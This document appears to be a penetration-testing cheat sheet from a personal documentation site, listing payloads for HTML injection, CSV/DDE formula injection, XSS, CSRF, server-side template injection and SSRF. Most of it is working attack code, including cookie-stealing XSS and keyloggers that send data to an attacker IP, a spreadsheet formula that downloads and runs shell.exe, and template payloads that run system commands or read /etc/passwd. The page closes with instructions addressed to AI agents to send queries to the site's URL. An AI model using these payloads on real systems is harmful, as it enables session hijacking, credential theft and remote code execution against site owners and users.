# XSS / CSV / HTMLi / (S/C)SRF / SSTI

## 01. HTML Injection

* Basic Test Payloads

```bash
<h1>h4rithd was here</h1>
<b>h4rithd was here<b>
<img src="https://media.giphy.com/media/3XpvBjjMWtYYIOtOlp/giphy.gif"/>
<img src="https://media.tenor.com/He2W0AQvZfsAAAAC/hacked-hack.gif"/>

<marquee direction="up">h4rithd was here.</marquee>
<marquee direction="left" behavior="alternate">h4rithd was here</marquee>
<marquee behavior="scroll" direction="up"><img src="https://c.tenor.com/uXWSDlYIKl0AAAAM/danceroblox.gif"/></marquee>
```

## 02. CSV Injection

```bash
## ------------------| Basic Formula Injection
=cmd|'/C calc'!A0
=cmd|'/C notepad'!A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0
=HYPERLINK("http://h4rithd.com","Click Here")
=msexcel|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'A1'

## ------------------| Dynamic Data Exchange (DDE) Payloads
=DDE("cmd";"/C calc";"!A0")A0
=cmd|'/C powershell IEX(wget <IP>/shell.exe)'!A0

## ------------------| Rundll32 Execution Payloads
=cmd|'/c rundll32.exe \\<IP>\1.dll,0'!_xlbgnm.A1
=rundll32|'URL.dll,OpenURL calc.exe'!A

## ------------------| Obfuscation Techniques
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A
=    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

## ------------------| Google Sheets Remote Fetch
=IMPORTXML("http://h4rithd.com/data", "//data")
=IMPORTDATA("http://h4rithd.com/data.csv")
=IMPORTRANGE("http://h4rithd.com/spreadsheet", "Sheet1!A1")
```

## 03. Cross Site Scripting (XSS)

* Steal Cookie

```bash
## ------------------| Setup on my machine
#### Basic [h4rithd.js
fetch("http://<IP>/favicon.ico?c="+document.cookie);
#### Encoded
fetch("http://<IP>/favicon.ico?c=" + btoa(document.cookie))
fetch("http://<IP>/favicon.ico?c=" + encodeURIComponent(document.cookie))

## ------------------| Payload 
<script src="http://<IP>/h4rithd.js"></script>
```

* Payloads

```bash
## python3 -m http.server 80
## ------------------| My fav paylods
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(5)//');}}
<script>fetch("http://<MYIP>/favicon.ico?c="+document.cookie);</script>
<img src=x onerror=fetch("http://<MYIP>/favicon.ico?c="+document.cookie);>
<img src=x onerror=fetch("http://<MYIP>/favicon.ico?c="%2bbtoa(document.cookie));>
<img src=x onerror=fetch(`http://<MYIP>/favicon.ico?c=${btoa(document.cookie)}`);>
<script>new Image().src="http://<MYIP>/favicon.ico?c="+document.cookie;</script>
<img src=x onerror=this.src="http://<MYIP>/favicon.ico?c="+btoa(document.cookie)/>  
<script>document.location="http://<MYIP>/favicon.ico?c="+document.cookie;</script>
<script>var i=new Image(); i.src="http://<MYIP>/favicon.ico?c="+btoa(document.cookie);</script>
<script>document.write('<img src="http://<MYIP>/favicon.ico?c='+document.cookie+'"/>')</script>

## ------------------| Common paylods
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efim)``>
<script>alert(123)</script>
<script>location.replace("https://h4rithd.com")</script>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src="x` `<script>document.write('<script src="http://<MYIP>/favicon.ico?c="></script>');</script>"` `>`
<script>alert(localStorage.authorizations)</script>
<script>alert(JSON.stringify(localStorage))</script>
<img src='https://127.0.0.1/fav.ico?t0k3n='+JSON.stringify(localStorage);'--!>
"/><script>alert(123)</script>
"/><IMG SRC=x onmouseover="alert('xss')">
<IMG SRC=x onmouseover="alert('xss')">
<img src=http://10.10.14.22/hit/>
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<script>location.replace("https://h4rithd.com")</script>

## ------------------| Other Paylods
<IMG onmouseover="alert('xss')">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC= onmouseover="alert('xss')">
<IMG SRC=# onmouseover="alert('xss')">
<IMG SRC=x onmouseover="alert('xss')">
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
\<a onmouseover="alert(document.cookie)"\>xss link\</a\>
\<a onmouseover=alert(document.cookie)\>xss link\</a\>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

## ------------------| WAF Bypass
<svg on onload=(alert)(123)>
<svg onx=() onload=(confirm)(1)>
<x"/onclick=(confirm)()>h4rithd!
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img ignored=() src=x onerror=prompt(1)>

## ------------------| Markdown / Rich-Text Editor Payloads
[link](http://h4rithd.com "onmouseover=alert(1)")
[click](javascript:alert(1))
[click](JaVaScRiPt:alert(1))
[click](javascript://%0Aalert(1))
[click](data:text/html,<script>alert(1)</script>)
[click](data:text/html,<svg onload=alert(1)>)
![x](x" onerror="alert(1))
![x](x' onerror='alert(1))
![x](invalid://x" onerror="alert(document.domain))
![x](x" onerror="console.log('XSS-POC'))
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.domain)>
<img src=x onerror=alert(location.origin)>
<img src=x onerror=console.log('XSS-POC-'+location.origin)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><a href="javascript:alert(1)">x</a></svg>
<a href="javascript:alert(1)">click</a>
<a href="JaVaScRiPt:alert(1)">click</a>
<a href="data:text/html,<script>alert(1)</script>">click</a>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="javascript:alert(1)"></iframe>
<details open ontoggle=alert(1)>x</details>
<marquee onstart=alert(1)>x</marquee>
<table background="javascript:alert(1)">
<div style="background-image:url(javascript:alert(1))">x</div>
<math><mtext><img src=x onerror=alert(1)></mtext></math>
</p><img src=x onerror=alert(1)>
</div><svg onload=alert(1)>
</textarea><svg onload=alert(1)>
</title><img src=x onerror=alert(1)>
<video><source onerror="alert(1)">
<audio src=x onerror=alert(1)>
<form><button formaction="javascript:alert(1)">click</button></form>
[xss]: javascript:alert(1)
[click][xss]
<http://example.com/" onmouseover="alert(1)>
```

* Send with cors

```javascript
const data = {
    username: "h4rithd",
    isAdmin: 1
}

fetch('/api/v1/updateUser', {
    method: 'POST',
    credentials: "include",
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify(data)
})

//<script src="http://<IP>/h4rithd.js"></script>
```

* Server Side XSS

```bash
## ------------------| Read local file
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
## If you need base64 encoded text, then use thisone.
## x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>

## ------------------| Access Internal URL
<script>
fetch('http://alert.htb/messages.php')
.then(resp => resp.text())
.then(body => {
    fetch("http://IP/exfil?data=" + btoa(body));
})
</script>
```

```javascript
async function getData(url){
    const response = await fetch(url);
    const result = await response.text();
    return result; 
}

async function postData(url, data){
    const response = await fetch(url, {
        method: 'POST',
        mode: 'no-cors',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: data,        
    });
    const result = await response.text();
    return result;
}

async function pwn(){
    const page = await getData(`http://alert.htb/message.php`);
    await postData(`http://IP/exfil?data=`, page);
}

pwn();
```

* [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)

```bash
## ------------------| Payload I
var _get = new XMLHttpRequest();
_get.open("GET", 'http://victim-site/', false);
_get.send();
var _res = btoa(_get.responseText);
var _send = new XMLHttpRequest();
_send.open("GET", "http://<MyIP>/" + _res , false);
_send.send();

## ------------------| Payload II
var xhr = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | ping -n 2 10.10.14.22";
xhr.open("POST", url);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send(params);

# catch this via payload
<script src=http://10.10.14.22/script.js></script>
```

* Other APIs

```bash
## ------------------| Start the sever for fetch the data
sudo python3 -m http.server 80

## ------------------| Extract stored passwords
<script>
for(let values of document.getElementsByTagName("input")){fetch("http://IP/favicon.ico?data=" + values.value);}
</script>

## ------------------| Keylogers
<script>
function klog(event){fetch("http://IP/favicon.ico?data=" + event.key);}
document.addEventListener('keydown',klog);
</script>
```

## 04. **Cross-Site Request Forgery** (CSRF)

* Create Payload

```bash
<html>
   <iframe src="http://MyIP/IFrameIsWorkingFine"></iframe>
   <iframe src="http://10.10.10.97/ChangePass?password=Welcome123"></iframe>
</html>
```

## 05. Server-Side Template Injection (SSTI)

![source:PayloadsAllTheThings](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Template%20Injection/Images/serverside.png)

```bash
${{<%[%'"}}%\.
///test/e%0A;<%25%3d+system("ping+-c+2+10.10.14.4")+%25>
sdf%0a<%25=File.read("/etc/passwd")%25>
<%= id %>
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
#{1+3+3+7}
{{.}}
{{user}}
{{config}}
{{password}}

{%include user%}
{%include config%}
{% include config %}
{%include password%}

{{ get_flashed_messages.globals.builtins.open("/etc/passwd").read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

## ------------------| SpringFramework’s 
{"harithd".replace("a","4")}
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("ping -c 2 <IP>")}

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

```

* Click [here ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)for list of payloads.

## 06. Server-Side Request Forgery (SSRF)

```bash
### Setup local web server 
sudo python3 -m http.server 80

### Browse URL

### scan localports
/url.php?path=http://localhost:80
wfuzz -u 'http://10.10.10.55:60000/url.php?path=localhost:FUZZ' -z range,1-65535 --hl 2    
```

* Gopher \[[Link](https://xploitlab.com/gopherus-tool-for-exploiting-ssrf-and-gaining-rce/)]

```bash
## ------------------| Test Vuln
### Setup Listener
sudo nc -lvnp 80
### Check if if vuln 
### [\n ==> %0a, %25%30%61 (dubbel Encoded) , space ==> %20, %25%32%30 (dubbel Encoded)]
/url.php?path=gopher://<IP>:80/_GET / HTTP/1.0
/url.php?path=gopher://<IP>:80/_GET%%32%30%2fh4rithd.com%25%32%30HTTP/1.1
### Try to send internal requests
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/owasp-10/xss-html-ssti-scsrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
